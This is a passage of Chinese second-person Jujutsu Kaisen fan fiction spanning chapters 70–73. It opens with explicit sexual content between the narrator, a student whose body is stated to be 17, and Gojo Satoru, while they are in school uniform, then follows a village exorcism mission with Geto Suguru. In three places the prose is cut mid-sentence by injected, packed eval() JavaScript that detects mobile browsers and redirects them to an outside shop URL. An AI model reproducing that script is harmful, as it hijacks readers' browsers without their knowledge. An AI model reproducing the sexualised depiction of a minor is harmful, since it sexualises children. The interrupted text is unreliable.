你们谁都没说话,你在光看不见的地方行事。 五条悟发出一声闷哼,然后认输一样又把头埋到你的颈窝里,但他仍然不肯说话。你知道,这会他的目光应该也浑浊了。 你们呼吸的声音都明显了起来。 最后他含糊不清地在你耳朵边请求:“星夏,帮帮我。”然后他的一只手捉住了你现在在他腰腹皮肤上流连的手。 你这行为也不是不能被描述为【放烟花】,只不过更准确的说,转瞬即逝、电流一样的烟花只放在了五条悟的脑子里。 他现在被你搅得【一团糟】。声音也又绵长又颤抖。 就在这个时候,你的手机响了。 你自己设定的熟悉铃声就在小巷里炸开,它在你的校服口袋里呈放射状向四周传递污染信号。 你在五条悟手掌包裹里的手定住了和他一起的动作。但五条悟握得很紧,你于是用右手反手掏了左边口袋,拿出了手机。 突然大良的屏幕惊扰了你的眼睛,但在光芒中,你瞧见了来电者姓名--夏油杰。 喔,还真是巧。 你挂断了电话。轻描淡写地把手机顺手塞到了他的口袋里,在那之前你还熟练地调了静音。 其实不难想,五条悟已经知道了这个点还能打电话的人大概是谁,而且你又露出了玩味的表情。 但你知道,他也知道,这事说出口就有些不妙。倒不如心知肚明地放过比较好。 现在,五条悟屏住的呼吸又有节奏地响起来,尤其在你自愿存放之后。你还是没开口,只是在他咬着下唇凑过来的时候迎上了他的呼吸和吻。 受男朋友的进一步邀约,你碰到了让他浑身紧绷的那个地方。他原本挺拔优雅的身形如今佝偻着贴在你身上,而你倚靠着他空出来的那只手还有墙。 你不需要提醒就知道应该怎么做,而他的另一只手在你身上胡乱地抚摸。 你们都有点乱糟糟的,现在。 被你的手指抚弄过的地方引发了其主人一阵又一阵激动昂扬,可他的脸却在你颈间埋得更用力,以至于每一次呼气,热流都打到你的汗毛。 五条悟哼哼唧唧地问你,声音非常小非常小,说是虫鸣也不为过,他听起来委屈极了,好像不是他自己要求的,而是你正在枉顾他意愿地欺负他。 他说:“星夏,你会……唔,嗯” 他一阵战栗,因为你的手指一不小心又碰到了刺激的地方。唔,是不是真的一不小心就不好说了。 “你会不会觉得。”他问你,小心翼翼:“我臭臭的?” 考虑到你们正在自觉自愿做的事情是什么,他这个问题还真是既合时宜又煞风景。 你低头哈哈哈哈地笑了出来,不是嘲弄谁,只是,你没想到很久之前的话竟然还被他这样放在心上。虽说那句话确实也是源自你处事深深地领悟。 “不,不会,当然不会。”你亲了他的额头,上面现在也有一点汗珠了,不过这也不是报复的好时候。 你又沿着五条悟的眉峰到鼻梁,在他柔软的鼻尖张口轻咬了一下,“我喜欢你呀,小悟。” “再多说两遍。”他这样要求你,嘴唇紧紧贴着你的脸颊,声音都有些失真。 “你今晚是不是有点贪心了?” “才没有,”他喘息着告诉你,争强好胜:“等我……结束,我也帮你。我喜欢你,星夏,很喜欢,很喜欢你。” “这样啊……”你拖长的语调,漫不经心:“这是空头支票吗?” “才不是!”在这种情况下他急匆匆自证,似乎恨不得把一切都展示出来。不过说起接下来的话时仍然有些羞怯:“过会,我,我,我用嘴帮你。” 到最后,他又只剩下了小动物一样的呜呜的声音,然后他抱紧了你的腰,让自己的一切都袒露在你的手上。 你全数返还给了他的衬衫。 全棉,质感不错,适合擦手。 在你做完这一切之后他才乐呵呵地抱着你,又亲你的脸:“我的衬衣可是很贵的。” “那下次不做了,没有就不用擦。” 五条悟停顿了一会才灵活辩证起来:“星夏你想怎么样就怎么样……我,我好高兴。你就不害羞一下么,而且你也太会接吻了我有点缺氧--” 他露出【糟糕,一不小心说多了】的表情,所有的声音现在都卡在脖子以下。 不过还是给他找到了新的台阶,他拉着你问:“怎么样?” “什么怎么样?” 五条悟略微回想,然后声音又高昂:“尺寸性能时间。”一套读音顺畅无阻地从他嘴巴里没有停顿的冒出来。 ……羞耻心和他的欲望算是一起去了,你悟了。 不过回答还是不可少,你说:“还行吧。” 这个回答非常伤他自尊,男朋友誓要叫你好看:“过会你就知道我是不是还行了!” “嘴巴的事情和下面没有可比性吧。”理性分析,是这样的。 五条悟结巴了:“你你你你你你,不知羞耻!” 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14093577|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后他又表现得比你更紧张,怕你生气一样自己把自己的话吃下去:“我不是那个意思,我是说,我是说,对不起,星夏。” 最后他泄气了。 哦,这个反应……你回忆起来,上次你因为这事情随便甩了个脸。看来给大少爷紧张到了。 你眯起眼睛挑他的下巴,颇有暗示意味地告诉他:“看你表现。” 他开始给自己打补丁,又是羞怯又是骄傲地告诉你:“我是第一次,不管……都是第一次,烟花也好,这个也好。” 你是应声虫,复述:“【过会我就知道你是不是还行了】”这嚣张的气焰可就在一分钟前呢。 五条悟最后,哼了一声,但他今晚哼的次数太多了,不仅没有气势还很挠人。 事实证明,五条悟在此道上有些天赋。 他的眼神很能挑动人的情绪,这是其一;其二么,他也很擅长用自己的挺翘鼻子。 最后,他的舌头比较富有探险精神。 所以你甚至能容忍他讲话有的时候有那么一点……过分天真。 你的腿搁置在他肩膀上的时候,双手放在他头顶,这个时候他毛茸茸的头拱着你手心,听声音很得意:“你去的比我快。” 这不是你第一次背着手用指关节敲别人的头,不过这个姿势……倒是头一次。 毕竟你还坐在他身上呢,他还在亲你的肚子。 接着还抬起头骄傲地问:“我技术是不是很好?嘶,你不要拽我头发。” 你的腿部,尤其是大腿根那块,十分酸软,那么做只是为了从他肩膀上下来。至少,在地面上先找到一个坚实的落脚点。 闻言安抚性拍了拍他的松软发梢……比往常更扎手,你也是在事后才发现,也就是说…… 在回答问题之前,你先惊讶地问他:“你还抹了发胶?” “没觉得我今天比以前更帅气吗?” “都挺好看的。”你这时候已经站定在了地上,五条悟则是抱着膝盖蹲在你旁边。 你觉得双腿之间稍微……黏滋滋。 不过难得满足的感觉让你觉得这都不算什么。 五条悟分明很开心听见你说他好话,但是还是要硬挑刺:“你讲这话太敷衍了,你明明才发现!” 随后他的声音突然幼稚起来:“难道说刚才你手指在我头上揉来揉去的时候,都没注意到么?” 他接下来肯定说的不是好话,你摇头。 果然,五条悟坏笑起来,他一点也没有痞气,说话的时候反而让你觉得……可爱。 “星夏,你刚才被我弄得舒服的不行了吧。” 他在你后面压上来,双臂环绕在你脖子前,就在你耳边一字一句这样说话。 “嗯啊。是的,很开心,多谢款待啦。小悟。” 结果五条悟直到坐上巴士都不晓得应该怎么和你再开口。 他太害羞了,以至于还忘记把袜子和裤子还你,顺手就塞到了口袋里。 最后是你先开的口:“我的手机还在你这,给我。” 谁知他猫猫祟祟地提起了口袋,甚至那口袋还在不靠你的这一侧:“你是不是要给杰打电话?!” “……” “我可看见了,他给你发了好多条消息!还有两个未接电话!” “两个?” “呃,这个,后来我想让他早点睡,挂断了。” 可真是好男朋友啊,你问:“什么时候的事情?” “刚才,你背过去整理衣服和……那个,的时候。”五条悟的手在胸前比划,他手上正拿着你的手机,你就在他对着你的手一把拿过。 他像是自己被抢了手机一样激动:“喂,还给我!” “搞清楚了,这是我的手机。”五条悟也没有别的手上动作,他刚才甚至没努力拽一下手机穗子。你就顺便倚在他身上,掀开盖看看过去一个小时发生了什么。 夏油杰的开头总是中规中矩,平淡,温和,没有情绪: 我想我们应该先谈一谈。 关于,之前的梦。 以上是第一段。 中间过了有半个小时,夏油杰发了其他的内容,类似于他很困扰这样的话。不过他的语言总是力求不展露真我,所以这是经过你解码以后的主旨。 最后他发来了一个问号。 问号的时间在两通电话之后。 哎呀,这可真是…… 一则桃花债。 71.第 71 章 5、人生啊,理当如是 你正在斟酌着要怎样回复这一系列已经失去时效性的留言,五条悟拉扯你的手臂。 他只问了一句:“你能不能别找他?” 你就放弃了回消息这件事情。 不完全是因为五条悟的请求,其实你也……不太愿意面对夏油杰。虽说明天无论如何都会面对他。 “啧,收这么快。” “你猜猜看,夏油第一次给我打电话的时候,我在做什么?”不管怎么说,五条悟是你的共犯。 这下你们都有不同程度的心虚。 你们都不说话了。 直到五条悟的手机铃声响起。 你瞧他眉眼透露嫌弃,但是定神后还是接了电话。 “喂,夜蛾老师,这么晚了有何贵干?” -- 业务繁忙的特级是这样的,你扭过头,不再留心他们讲了什么。 “高层的人简直有病。”你的男朋友在约会末端对你展示了一把什么叫不堪其扰,下了车以后就只有他讲话的声音了:“让我大晚上去京都,我一个人,但不说有什么事。” “夜蛾老师也不知道吗?” “不知道。他也才当上校长没多久,反正上面的没人把他当回事。” --其实已经一年了。 “老师要哭了哦?”你调侃道。 “这是事实,高层的老东西不把任何家伙放眼里。等我知道他们在想什么的时候,非得是被他们同化的那一天。” “那你要去吗?”你瞄了一眼时间,已经九点半了,这个时候到京都,那得是明天抵达。 “不--去!给他们脸了,”五条悟戴上墨镜,说出的话却让你忍俊不禁:“明天早上八点出发,比你和杰早一个钟。” 有关这点,也涉及到一个你曾经的误解。 以前你觉得五条悟是相对来说自由散漫的人,结果根据交往后的情况来看--此人只是精力充沛,天生要吃咒术师这碗饭,且异常勤劳。 同时,他的任务完成情况相当高--只要不涉及建筑保护。 他的术式大开大合,人也一样。 你的笑容只持续到在校门口见到夏油杰的那一刻起,在五条悟喊出自己挚友名字的时候,你还牵着他的手,另一只手拿着手机。 白白的光映在你脸上,你在看论坛笑话。 “杰?” 不知道杰怎么样,但你因为吓了一跳,所以敏捷地抽回了手。 下一刻你才反应过来,不对,旁边这个才是你男朋友。你要收的本该是手机。 你抬头的时候嘴角还因为网友的笑话而上扬,微笑。 等你看清的时候,你就收敛了笑,也收回了手机,双手插兜。 “晚上好。”你说。 夏油对你微笑了一下,几乎可以理解为虚情假意的礼貌,不过在他开口以后,你认为更贴切的说法应该为讥讽: “真高兴看到你还没事,铃木。不过有悟在,你总是会没事的。” 然后你明天的特级任务搭子转身就走。 这下好了,他语气轻飘飘的,抓不住。 还称呼你为铃木。 你站在原地,和你的男朋友,他的挚友,一起挠头。 他说:“啊,真是尴尬。” 你说:“是啊是啊。” 说是这么说,但猜猜是谁明天可以去京都,是谁要和掉头就走的人一同出游? 是幸运的五条悟--和不那么幸运的你。 不管怎么样,如今的事件清单上第一位仍然是冲凉,你的身上有点……小状况。 “对了,还我。”你对五条悟伸出了手。 “嗯……什么?” 你才不和他打哈哈,只说:“如果你一定要把我的贴身衣物藏着掖着,不仅你会像个变态,而且我会不高兴。所以……” 你的手掌心向上,对着虚空掂了几下。 这也不是你今天第一次做这个动作,上次你给一个人带去了死亡。 “……”幸好,五条悟没说丢了之类的鬼话,分别从他的两个口袋拿出了从你身上脱下来的东西。 你把它们捏在手里团成一团,轻薄的布料自然任你施为,你转身就走。 五条悟在后面喊你:“星夏,你去哪?” “洗澡。” “……好吧,那你晚安。明天早上我再给你发简讯!” 你这会没兴致问候他,只是探出手臂朝他招了招,示意你已经听到。 事情偶尔就是这样滑稽,一个稀松平常的告别而已。 你们都没想到,这就是未来一些年里你给他留下的最后印象--一个手里捏着丝袜,发丝也乱糟糟的背影。 手高过头,指尖缝隙里泄露出一条暧昧拖尾,漫不经心地摇晃。 总之就是这么个不太上得了台面的动态壁纸模样。 ———— 在短暂的雾气弥漫时间里,你确定了针对夏油杰的态度。 他的心情大抵是不好,而且,这个心情100%与你有关。 任务前,你不打算给他额外的打扰。 所以次日,当你9点抵达校门口上车的时候,瞧见他直接坐在了杜绝和另一位乘客交流的副驾驶座上,也毫不奇怪。 你踩着点、饿着肚子上车,和不认识的辅助监督问了安后,就老实地坐在夏油杰的后头。 辅助监督在启动引擎之前总结一样说了句:“大概就是刚才我和你说的那样,夏油同学。请你在路上和铃木同学也说明一下情况。” 夏油杰礼貌地说了好。 现在的情况就是,你的准点于任务而言,也无异于姗姗来迟。而夏油杰不会和你说话。 你只在路途行进了两小时后问“还有多久能到任务地点”的时候开了口,剩下的时间里你继续投入睡梦中。 得到的回复是今日路况良好,只还有额外的近四小时。 ……这村子得是有多偏呀。 中途你在服务区买了早餐,实际大概已经是午餐的时间点了。你吃完包子,擦擦嘴上车,继续无声的行程。 辅助监督不是没有切入诸如天气、地理、绿化之类的日常话头,可惜它们在这辆行驶的车上活不过三句。 回他的只有比你更善解人意的夏油杰,可夏油其实也没兴致说话。 所以……收效甚微啊。 下午,风和日丽。 朴素的小轿车停在乡村的道路上,前面是一望无际的扁平通路,旁边是通往不知何处的林间小道。 “接下来,就要同学们自行前往了。”辅助监督,他的名字是正金寺,擦了擦汗水下车送你们。 他说:“如你们所见,这地方属实偏僻,村里没有公共交通,也没有为此修路。只有这条狭窄的小路才能进去。 根据窗上报的信息,大约有1公里路程。接着,这个神隐传说的委托就劳烦你们完成了。 任务执行时间还是比较充裕的,有足足3天,当然如果不能及时取得联系,也不要紧,毕竟这种规模的任务给3天也只是内部口径……” 3天?那就是需要调查走访。还有他之前说的神隐,即非常普通的村民失踪案件,真是典型的侦探小说开头。 穷乡僻壤的小地方养出什么样的咒灵都不奇怪呢。 你在车门边点点头,在夏油杰与辅助监督分别后跟了上去,踩着他走过的脚印一步一步往前。 大概5、6分钟后,夏油杰终于对你开了尊口,讲述任务情况: “村里一直口耳相传神隐的传说,有官方备案的情形在10年内发生5起,最后一个发生在上周,9月13日。 当地原住民对我们的前往都已知悉,不需要秘密行动,可以直接向他们询问情报,降低了任务难度。 因为需要逗留,总监安排了委托人空出家里的房间供我居住,你的住所等我们过去后再商议。 对象咒灵的等级被初步判定为准一级左右,大概你也可以独立袚除,不用担心。” 想来这次的任务也正是因为上周的一个村民突然死亡。 你还没来得及问这个确认死亡的人是何时失踪的,夏油就在前头轻笑了一声。 “也是呢,你怎么会因为这点小事担心。” 来了,任务说明结束后,夏油开始了情绪表达。 你不和他多说,很爽快地认下:“昨天没回你消息是我不对。没接电话也是。以后不会了。”无解难题,这些问题纠缠下去也不会有好事的,反正看样子你不能同时拥有两个,如此就选择先表明态度的那个。 而且…… 你挺喜欢五条悟的,你……不太想让他因为这种事情伤心。 说起来【我的男朋友,我的好朋友,搞到一块去】是不是也算是电视剧里的常客? 最后要么是有一个新的、更好的男人出现,要么是【我】变得更漂亮,男朋友幡然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14104857|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒悟原来真正的灵魂伴侣在这 --总之,虽然纠缠错综的爱情故事牵动心肠,但浮于表面的爱恨情仇也只能是短平快节奏里平稳的几个音节,过目即忘。 你无意在恋爱中像真正的文学一样讨论人类文明的永恒问题,但也不是为了让它奔着俗套去的。 夏油杰呢,他的回答也很简单:“不必担心,也不会有以后了。” 如若可以快刀斩乱麻一样定夺,就没必要再纠结地拖沓。看来你们两个都信这一套。 决断。 你在他后面又说了声对不起。 你的道歉并非是因为昨天的失联,回复恋爱热线才不是必要举措。 你是为了当时梦里的事情。 你……如果不在梦里搭理他,甚至和他亲昵,今日他大概也不会深觉被愚弄。 而且钥匙,说到它,那个危险的东西到底还是你赠与夏油杰的。 夏油杰直接停下了脚步,转身,这是他今天第一次面对面看你:“你觉得,我需要的是道歉吗?” “……”虽然你说的对不起和他以为的大概是两个意思,但你充分理解。 他的自尊心大概受不了啦!夏油浑身上下都写满了这个信息。 像沸腾的水一样,蒸汽非要把锅盖顶上天不可。 “铃木星夏--”他叫你的名字似乎就抽掉了大半的气力,以致于说完这几个音节后他就断在那边,直到重新找回自己的正常声音,夏油才维持稳定,接着说:“难道你就不能在出口之前多思考思考,想想--” 他的声音又迎来了一波调高,急停。 “想想正常人会有的情绪是怎样。”夏油杰的尾音是竭力压抑后的冰冷。 他在说你不正常。他就是这个意思。 你并不为这个说法而生气,曾几何时他朋友还管你叫ai呢,现在那个人成你男朋友了。 不过你主动承担愧意是一回事情,夏油这样说则是另一回事。 既然他说你不正常…… 你呼出一口气,最近你也有不少心事,决计不比夏油杰的少。那和歌是怎么说来的? 无耳山得无口花。 可惜你的烦忧多种,要真只是感情那样简单便好了。 不妨在此也说两句冷冰冰的话,互相攻击一会。 你是这么想的,也这样开口了:“其实,你根本不是在怨恨我。” “……” “你是在拷问自己吧?夏-油-前-辈?” 你根本没抬头,瞧着地面上匍匐的虫豸和黄土,只听见面前一片安静。你就继续说。 “人要是控制得住自己的心,世间许多事情就会简单得多,也没什么情非得已的说法了。 您说是不是? 说到底你根本不在乎别人正常与否,只是你见到我,就期待我的反应,最后发现我根本没有反应-- 你接受不了自己不被在意的人当回事。 挫败吗?大可不必。因为人生啊,理当如是。” 然后你头一次听见夏油杰的剧烈喘息声,他告诉你,你很好。 夏油杰拒绝和很好的你再多说一句话。 可这样说着你很好的同伴,在一言不发的路途上既没有抛下你,进了村以后还向委托人和其母亲介绍了你。 “这位是铃木,见习任务的咒术师,请给她也安排一间住所。我们会在今天的晚餐后正式开始问询相关人员,届时也烦请通知他们。” 这个时候你就知道,他又多了一个憎恨自己的理由。 其实你比较期待他直接快步走掉,或者说“这里不需要你了,你请回。” 这样你就可以直接离开这次难度不大的准一级任务。 但他还是放慢了脚步,还是没能说出那句让你离开的话,宛如受到束缚。 那根细细的、丝线一样的束缚是情感。 自然地,你惊觉:哦,他也挺喜欢你的。 糟糕。 梦里的甜言蜜语都可以是情绪激动时的产物,那种东西可以被酒精或者言语轻易调动,不值一提。 正像市场中劳动者的价值一样,它只有在跳槽时,得到另一家公司的确切开价,才得以体现。感情究竟如何,也要在比较中权衡出结果。 你刚才姑且算是羞辱了这个人,然后他就把自己格外看重的自尊心丢到了一边,任劳任怨。 看着他的背影,你觉得有些许不好意思。 72.第 72 章 6、玉折 问询没能如约开展,因为夏油杰一个人就在收拾完后独自走访了几间居屋,在晚餐时就带回了消息。 1、村里的神隐传说和报告上写的能够对应 2、如报告所说,村庄周边的钟乳石洞一直被传为危险的地方,且失踪与死亡的人都与此有关。 也就是说,辅助监督一开始出具的报告内容准确。 明天可以直接探查钟乳石洞穴。 那么,你的前辈努力奋斗的时候,你在做什么呢? 大概在下午四点多,你安顿好了自己,接着就是看男友给你的留言。 嗯……对比来说你倒是松弛感满满。 但五条悟真的密密麻麻堆了许多条消息。 他先和你道早安,那是他起床之后的事情。 然后和你抱怨了这个不知道什么的任务,不,甚至都未必算得上任务,居然要行程保密。 他得意洋洋地告诉你,自己是如何气辅助监督的,【保密啊,我昨晚和星夏在一起,她昨天晚上就知道了。对,就是我现在要和你们去京都这件事。】 据说辅助监督脸色都变了。 言语绘声绘色,五条悟的文化水平这块毋庸置疑,他还给你打了一通电话,那时候你大概在睡觉,手机还维持昨天调整的静音。 所以后来他又回到了简讯。 唔,有钱人家就是好,不用担心短信话费的开销。 五条悟谴责了你竟然不知道在做什么,但就是不回消息。 并在10分钟内忘记了自己在假装生气这件事情,发了新的留言-- 京都什么也没有,这里人说话也老气横秋,但有家糕点我记得不错,等我回来带给你吃! 这条消息发布于两点多,是最新的一则。 你觉得很新奇,当然,不是说糕点。和这样一个情绪外露而且活泼的人恋爱,你只是看着短信就忍不住微笑,倒也不错。 这是一个接近幸福的状态,你在这样的欢乐里虚度了一个多小时。仅仅等待你的任务搭子联系你。 也没回男朋友讯息--总觉得一回复就会没完没了,等晚餐后任务时还得接着告别,旁边又还有夏油在,总归多有顾虑。 你不是真的17岁,理应约束自己的行为,控制多余的喜欢。 你决定等晚上结束以后再和五条悟聊天。 结果你也知道了,为了不和你一起共度更难过的一点时间,夏油杰独自偷偷努力了许久,才能在晚餐时说出那句话: “晚点我们就去钟乳石洞。” 大晚上出门探险可是不幸的开端哇。 不过你也不直接说出来,因为你们都知道他是个特级咒术师,不会发生恐怖电影里的那种事。所以你放下饭碗点了点头。 你没吃什么东西。 准备出发的时候,你把之前准备的换洗衣服都丢在室内,包里只装了些从委托人那要来的干粮和水,以备不时之需。 夏油杰在你背着包到门口的时候对你说:“你如果不想去也可以。” 大晚上的自然溶洞,想也知道阴森而不美观,这是个诱人的提议。 然而综合考量今天发生的一系列事情…… 你压下遗憾摇了摇头:“前辈,我和你一起去。” 俨然是一个勤快又心怀敬意的学妹。 他听见你乖巧的应对,笑声微弱语带嘲讽:“难得你能这么懂事。” 你讪笑:“我以后尽量保持。” “免了。” 被这么说你也认了,谁让你下午一时之间没控制好这张嘴呢。 你背着包,跟在夏油杰后头。 进入溶洞后,你还颇为殷勤地自觉点上了火,在他前面带路。 此洞向来被村民视为神域,不过信仰聚集的过程中要是出了什么问题,就如产土神一样难以控制。 如果这是可以闲聊的场合,你高低得论述两句人心莫测的句子,但不是。 你们无声地往洞里走了几十米。 地面凹凸不平,看不见的泉眼里蔓延出一条小溪。 水滴下的声音正如同泡沫炸开,在这个呼吸都能听见的密闭空间里格外明显。 你问:“前辈,你冷吗?” 回头,还能看见狭长的入口和外面石头地上清浅的月光,只不过所有的光都成了躺倒的椭圆形状,它们进不来这里。 几十米的地方竟然温差如此大…… “应该就是这附近了。”他说。 在产土神信仰的那次任务之后,你也稍事补习了相关的传闻消息。 根据某一条未被验真的说法,比起单纯的情绪嵌合体咒灵--例如对上班的恐惧,对人际关系的厌倦,由信仰生诞的咒灵或许更聪明。 只知道复读或者索性话都不会说的咒灵,更有可能是短暂集体意识的产物。 过了一千多年,咒术师仍然不见得有多了解诅咒,大约远不如它们自己。 “因为不同的人心中默念相同的话语,这份情感也得以更方便地合而为一。”你低头,轻声说。 不过这音量在这种水滴都响亮的地方已足够震耳欲聋。 你说这句话的时候,瞧向握住你脚踝的手。苍白,皮肉狰狞像融化的蜡烛,不过细想来,那应该是奇形怪状的钟乳石。 只是它粘稠似胶似沼泽,一点不坚硬。 你抬脚,踩了上去。 一声剧烈的惨叫响彻溶洞,你听见了更深处边缘逃窜的振翅扑腾。 不过任这个咒灵再乐意扰民,安稳布好的帐都尽责地坚守在外…… “哎呀,我好像忘记布帐了。”你后知后觉。 方才回头瞧见的月光成了最好的证人--帐会隔绝光线,让里面晦暗起来。 既然瞧见了远不如阳光耀眼的月华,嗯…… “……”夏油杰礼貌地拉着你的衣袖,把你带到他身后。 刚才你站着的那块地上,现在什么也没有。 他定睛注意着上头的残秽,然后认输一样叹气,终于又和你说话了。 “唉,算了。星夏,接下来就交给我吧。” 你懂了。 第一,他打算不跟你接着生气;第二,他会处理好这个咒灵。 多好的孩子,你感动了。 “好的前辈。”你说。 “……你听上去是不是过分雀跃了。” 就是说--“今天气氛一直挺紧张的。”你说出了这个一直没明面提起的共识。 夏油杰面对咒灵的时候如果这么虚弱,大概任务就失败了,他现在听起来不堪一击而苦恼: “说说看,这到底是谁的问题啊?” 越到后面,他的声音越轻。 “我的我的。”你赶紧说:“这地方有点冷,我们快些处理完毕离开吧。” 就这样,你们两个谁也没把这个为非作歹的准一级放在眼里。 而夏油杰也确实很顺利地完成了此次任务,从进去到结束,时间不过几十分钟。 有句话直到他出来的时候才说:“星夏。” “嗯?”任务完成,不管是今晚就回还是等到明天,你都拥有自由的夜里时间,夜间的风令人心旷神怡。 “我注意到……”夏油杰问你:“刚才的地面上并没有你的残秽。你攻击咒灵的时候,并不需要用到咒力和术式吗?” “嗯,是的。”你承认了这点。“我的咒力还算够用,不过操控方面……输出的时候难免过多或过少,总是不如熟悉的力量趁手。” 说到这里的时候你还笑了一下,接着总结:“因为有欠缺就直接转道,说起来这也是我的怠惰。” “你可是有着反转术式天赋的啊……” 这会你们终于闲聊起来。 夏油的意思是,反转术式源于咒力的精微操控,你连这个都能掌握,常规顺转的输出学习理应毫无问题。 他不晓得咒力只是你的planB,现在你有了更值得追随的道路,自然厚此薄彼。 你解释:“那是因为我在其他方面更厉害。” “那么,上次和灰原还有七海的任务也是那样吗?” “……是。”你回答了。 夏油杰应该看出了几分勉强,没再多问。 突然善解人意起来,你都又有些不好意思了。眼见快走到你寄宿的村民那家,你主动补充了两句:“我的身躯已经过火焰淬炼,感官遍历锤砧洗礼,处理咒灵没什么问题。” “我这算是,又得到你的信赖了吗?甚至不知道这是坏事还是好事。”夏油杰的声音非常小,幸好你都能听见。 你知道他不需要你的肯定或者否定。夏油杰总是会自己做主,下定决心。 他说:“只有诅咒才能杀死诅咒,这是一直以来的说法。但星夏……你不一样。” 从去年起你就格外擅长用非诅咒的方式收割咒灵,对这个常识一直疏忽不管。现在突然被夏油提起,倒让你感觉陌生。 还是有些人会在意这种概念性问题。 你们走过一片饱满的庄稼地,从低垂的程度来看,收割也就是这几天的事情了。 “悟知道吗?” “不知道。” “你还真是,连男朋友都瞒着?” “因为没必要特意告诉他这些。” 你的标准统一,这点倒是让听者舒服了些。 他舒坦地呼出一口气,似乎要把你也一起放走:“可见你对悟也没有付出全部的真心。” 你都听不出来他是不是在谴责,或者是在窃喜了。稍微往他的方向瞧去,你只能见到他额前的刘海也就像麦穗一样摇摆。 你低下头,看脚尖:“真心啊,真是陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又磨蹭了这么些开灯穿衣服和谜语人一样的寒暄时间,你的耐心其实已经告罄,于是出口又问这个肥头大耳的中年男人:“现在是喜闻乐见的游览村庄环节吗?有点晚了其实。这个可以刚接待的时候进行。” “不不不,”阴谷清隆对你伸出手,作安抚状,不过他动作里倒没什么尊重意味。毕竟你就是个见习的,而主事人还一句话都没说:“小姑娘你稍微耐心点,我们马上就去那里。” 在路上,你听见两个村里原住民带着口音的窃窃私语。他们佝偻着背,提灯在前,影子在后面亦步亦趋,猥琐又阴森。 “封建迷信带来的人际关系纠纷我们也要管吗?”你相信你能从只言片语中分析到的东西,夏油杰也能。 简单来说,有两个村民被认为是不吉利,带来了灾祸。 夏油杰看见了你从一开始就懒得插手的态度,只在你旁边安抚道:“我们先去看看是怎么回事。” 诚然,人偶尔也会有疏忽的时候,比如你。 你听见了那个人说的【控制住了罪魁祸首】,又听见了他在路上的交谈,却没注意到一个小问题:两个成年人恐怕没那么容易被大腹便便和奶奶辈的人控制。 屋外挂着锁,屋内杂草一地,还有久不通风的霉湿和排泄物的味道。室内靠里的草席痕迹斑驳,还有鞋印。 还有最难以忽视的-- 你们从开门声后就一直听到的,从里面最暗的黑暗里,啜泣。 动物幼崽一样微弱,其中蕴含鬼故事同款的恐惧。 私家车都开不进来的地方,村民想在这里逍遥法外也是……天时地利人和。 你叹了口气,人性之恶在这里原原本本显示出来。 扭头用胳膊肘顶了顶夏油杰,你说:“JK罗琳看到这个也会觉得哈利波特的童年待遇还是太小康了。谁能料到在远东的发达国家还会有如此全面的情节?” 夏油杰没搭理你,等你扭过头,才注意到他因为眼前的一幕愣怔。 也正因为他的缄默和思忖,你在前头两个人一应一和细数两个小朋友罪孽的时候都没及时出声打断。 夏油,似乎处在一个艰难的抉择当中, 他在想什么呢?你兴趣不大。 你只是在两位村民和两个小女孩都不做声的时候,用科学的、逻辑的、理性的论据讲了句实话:“这两个小朋友能有多大年纪,5岁?7岁?根据你们提供的信息,第一起失踪案件发生于1998年3月19日。随后陆续记录在案的分别于--” 你打开手机看了一眼报告截图,接着说: “2001、2002、2005,再就是今年。你们是说两个小孩从还没出生就开始诅咒村里人了吗?” 73.第 73 章 7、铃木星夏的双面人生 甚至不需要捂上耳朵,只要两个人互相为彼此背书,人就能一厢情愿地相信自己愿意相信的东西。 关于你的问题,他们不需要做出任何解答。 “就是她们做的。” “我的孙子也是差点被害死。” 孩子的反驳声在流言蜚语和实际的关押中也单薄无比,但也不比她们的衣衫和性命更脆弱。 你明白,愚昧的小地方就是会养蛊一样孕育奇怪的思潮和排挤。 这两个小怪物,她们都不配被称呼属于人类的姓名。 夏油杰终于说了话,他看上去前所未有的疲乏:“诸位,这里不方便说话,我们先出去,到--” 你看见他瞧联络人的迷茫目光,这个时候恰当地提醒:“阴谷。他的姓氏。” “啊,对,阴谷先生家里再说,好吗?” 紧锁房门的钥匙被他管理,而且从白天的情况来看,阴谷清隆也负责村庄对外的交流,想来也颇受信赖,在村里有一定威望。 你们于是暂时又给这个难得在夜里亮灯的小屋带来了黑暗。 走之前,你朝两个孩子滚去了矿泉水和你自己都看不上的干粮。 依偎在一起的小兽,紧紧被扼住的咽喉,破落但仍难逃脱的牢笼,总不免让你回想到以前的苦日子,然后再联想到饥饿。 权当给背包减点重量,你又不需要它们。 夏油杰的试图礼貌交涉失败了,不过你能瞧得见他也没仔细措辞话术。他以前说话会更有说服力,现在么,你认为他大概也隐隐发现道理讲不通。 而且他还在用余光看你,似乎有顾忌。 这就奇怪了,他想做什么? 接着,你们没办法达成村民的诉求:把两个人类袚除,但他还是义愤填膺地申明自己一定和妖孽不共戴天。你摇了摇头,跟在夏油杰后头走了。 不用住在这种简陋的地方也是好事。 